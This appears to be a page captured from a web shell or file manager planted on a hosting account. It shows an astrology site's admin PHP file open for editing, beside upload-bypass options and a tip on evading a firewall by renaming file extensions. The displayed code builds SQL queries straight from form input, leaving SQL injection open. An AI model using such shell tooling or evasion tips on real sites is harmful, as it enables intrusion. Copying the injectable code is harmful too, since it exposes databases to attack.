Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
Submit
~
home
u273925517
domains
alpastrology.com
public_html
admin
Edit File:
add_community.php
<?php include("include/header.php"); include("include/conn.php"); ?> <!-- begin MAIN PAGE CONTENT --> <div id="page-wrapper" style="min-height:142vh;"> <div class="page-content"> <!-- begin PAGE TITLE ROW --> <div class="row"> <div class="col-lg-12"> <div class="page-title"> <div class="row"> <div class="col-md-3"> <h1>Add Community Link </h1> </div> <div class="col-md-1"> <a href="community.php" class="btn btn-primary">Back</a> </div> <div class="col-md-7"></div> </div> </div> </div> <!-- /.col-lg-12 --> </div> <div class="row" id=""> <!--<div class="col-md-2"></div>--> <div class="col-md-8"> <div class="panel panel-default"> <div class="panel-body"> <form action="" method="post" enctype="multipart/form-data"> <!--<h1 for="">Community Link</h1>--> <div class='row'> <div class="form-group col-md-6"> <label for="">Communit ID</label> <input type="text" name="community_id" class="form-control" value="<?php echo generateCommunityID($conn); ?>" readonly> </div> <div class="form-group col-md-6"> <label for="">Free Class Date</label> <input type="date" name="class_date" class="form-control" value="" required> </div> </div> <div class="form-group"> <label for="">Link</label> <textarea name="community_link" id="" cols="70" rows="3" class="form-control" placeholder="Enter community Link" required></textarea> </div> <div class="form-group"> <button class="btn btn-primary col-md-12" type="submit" name="update_profile" value="submit">Submit</button> </div> </form> </div> </div> </div> <div class="col-md-2"></div> </div> <!-- /.col-lg-12 --> </div> </div> </div> <?php // Function to generate the unique Community ID function generateCommunityID($conn) { $prefixText = 'BATCH'; $yearPrefix = date('y'); // Get the current year in two digits (e.g., 24 for 2024) $sql = "SELECT COUNT(*) AS total FROM `community_link`"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_assoc($result); $count = $row['total'] + 1; // Increment count by 1 return $prefixText.$yearPrefix .'-'. str_pad($count, 3, '0', STR_PAD_LEFT); // Generate ID (e.g., 2401) } if (isset($_POST['update_profile'])) { // Check if form has been submitted date_default_timezone_set('Asia/Kolkata'); $date = date('Y-m-d H:i:s'); $community_id=$_POST['community_id']; $comun_link = $_POST['community_link']; // Get the input value $class_date = $_POST['class_date']; // Prepare and execute SQL statement $sql = "INSERT INTO `community_link` (`community_uniq_id`,`community_link`,`free_class_date`, `create_dt`) VALUES ('$community_id','$comun_link','$class_date','$date')"; if (mysqli_query($conn, $sql)) { $admin_id = $_SESSION['admin_id']; $module = 'Add Community'; $activity ='Add the new Community'; $date_time = date('Y-m-d H:i:s'); $sql ="INSERT INTO `logs`( `admin_id`, `module_name`, `activity`, `date_time`) VALUES ('$admin_id','$module','$activity','$date_time')"; $result = mysqli_query($conn, $sql); echo "<script>alert('Data Inserted successfully!');</script>"; echo "<script>window.location.href ='community.php';</script>"; } else { echo "Error: " . $sql . "<br>" . mysqli_error($conn); } } ?> <!-- end MAIN PAGE CONTENT --> <?php include("include/footer.php"); ?>
Select edit method
Using basic write file
Using command
Info
Info!
If the strings too long, it will be failed to edit file (command method only).
Save Changes